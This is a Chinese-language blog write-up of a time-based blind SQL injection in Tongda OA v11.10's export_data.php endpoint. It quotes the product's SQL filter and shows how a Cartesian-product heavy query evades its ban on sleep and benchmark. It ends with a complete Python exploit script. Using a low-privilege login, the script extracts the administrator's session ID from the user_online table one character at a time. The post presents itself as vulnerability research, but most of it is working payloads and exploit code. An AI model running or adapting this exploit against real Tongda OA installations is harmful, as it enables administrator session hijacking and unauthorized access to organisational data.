本文最后更新于 396 天前,其中的信息可能已经有所发展或是发生改变。
影响版本:通达OA v11.10版 服务器端
漏洞定位:/general/system/approve_center/flow_data/export_data.php
在/export_data.php中POST接收了d_name参数,并且在后面的代码中直接进行了参数拼接。
在通达OA数据库中找到data_开头的表来进行测试,这里面只有data_src表符合要求
/general下的路由都需要进行登录才能正常访问,接下来的测试使用普通用户进行测试
开启mysql日志
在数据库日志中可以看见执行的语句
应为无回显,尝试使用时间注入
通达OA v11.10中存在全局过滤器,其内容如下所示:
function sql_injection($db_string)
{
$clean = "";
$error = "";
$old_pos = 0;
$pos = -1;
$db_string = str_replace(array("''", "\'"), "", $db_string);
$db_string = preg_replace("/`[^,=\(\)]*'[^,=\(\)]*`/", "", $db_string);
while (true) {
$pos = strpos($db_string, "'", $pos + 1);
if ($pos === false) {
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true) {
$pos1 = strpos($db_string, "'", $pos + 1);
$pos2 = strpos($db_string, "\\", $pos + 1);
if ($pos1 === false) {
break;
}
else {
if (($pos2 == false) || ($pos1 < $pos2)) {
$pos = $pos1;
break;
}
}
$pos = $pos2 + 1;
}
$clean .= "\$s\$";
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array("/\s+/s"), array(" "), $clean)));
$fail = false;
$matches = array();
if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
$fail = true;
$error = _("注释代码");
}
else if (preg_match("/(^|[^a-z])union(\s+[a-z]*)*\s+select($|[^[a-z])/s", $clean) != 0) {
$fail = true;
$error = _("联合查询");
}
else if (preg_match("/(^|[^a-z])(sleep|benchmark|load_file|mid|ord|ascii|extractvalue|updatexml|exp|current_user)\s*\(/s", $clean, $matches) != 0) {
$fail = true;
$error = $matches[2];
}
else if (preg_match("/(^|[^a-z])into\s+outfile($|[^[a-z])/s", $clean) != 0) {
$fail = true;
$error = _("生成文件");
}
else if (preg_match("/.*update.+user.+set.+file_priv.*/s", $clean) != 0) {
$fail = true;
$error = "set file_priv";
}
else if (preg_match("/.*set.+general_log.*/s", $clean) != 0) {
$fail = true;
$error = "general_log";
}
if ($fail) {
echo _("不安全的SQL语句:") . $error . "<br />";
echo td_htmlspecialchars($db_string);
exit();
}
}
但是当我们没有办法使用 sleep(50000)—->睡眠 和 benchmark(10000000,md5(‘a’))—->测试函数执行速度 的时候我们还能用Heavy Query 笛卡尔积来实现我们的目的。
通达OA的是数据库名为td_oa, 't'的十进制ascii为116,在执行命令的时候可以明显发现执行时间的延长。
将116改为115时延时注入就会失败。
写个脚本来盲注获取管理员的session
import re
from turtle import st
import requests
import datetime
import time
import threading
import string
# d_name=src where d_id=1 and (substr(DATABASE(),1,1))=char(115) and (select count(*) from information_schema.columns A,information_schema.columns B)
session = requests.session()
url = "http://172.16.10.8:8000"
head = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
}
def getLoginSession():
data = "UNAME=lijia&PASSWORD=5368677fec9d199757f33005c605f9f5e0dfec7bb3ff28f7831e49ff1b9581036ec0e0e144b854660111a7b8a8fb413d2d16ebe5477759017da1bb87d75e9721a0cd03a2ae9496b85a09a1e4866feca4982fce6b9250595c7db0ebf55e9b40b5a504702de16b6e4a4846fff5f8fef4c7562a418e74d8f7fda62c2a0f83ea9269&encode_type=1"
urls = url + "/logincheck.php"
res = session.post(urls,data=data,headers=head)
if "正在进入OA系统,请稍候..." in res.text:
print("登录成功")
else:
print(res.text)
def blindNoteTest():
urls = url + "/general/system/approve_center/flow_data/export_data.php"
data= "d_name=src where d_id=1 and (substr(DATABASE(),1,1))=char(116) and (select count(*) from information_schema.columns A,information_schema.columns B)"
res = session.post(urls,data=data,headers=head)
time = res.elapsed.microseconds
print(time)
if time > 150000:
print("延迟注入测试成功")
def blindNote():
inject_session = ""
chars = string.digits + string.ascii_letters
urls = url + "/general/system/approve_center/flow_data/export_data.php"
lenght = 1
print("开始延时注入")
for i in range(1,27):
for s in chars:
payload = "d_name=src where d_id=1 and (substr((select SID from user_online where UID=1)," + str(lenght) +",1))=char(" + str(ord(s)) + ") and (select count(*) from information_schema.columns A,information_schema.columns B)"
result = session.post(url=urls,data=payload,headers=head)
time = result.elapsed.microseconds
if time > 150000:
lenght += 1
inject_session = inject_session + str(s)
print(inject_session)
break
if __name__ == '__main__':
getLoginSession()
blindNoteTest()
blindNote()
浏览量: 750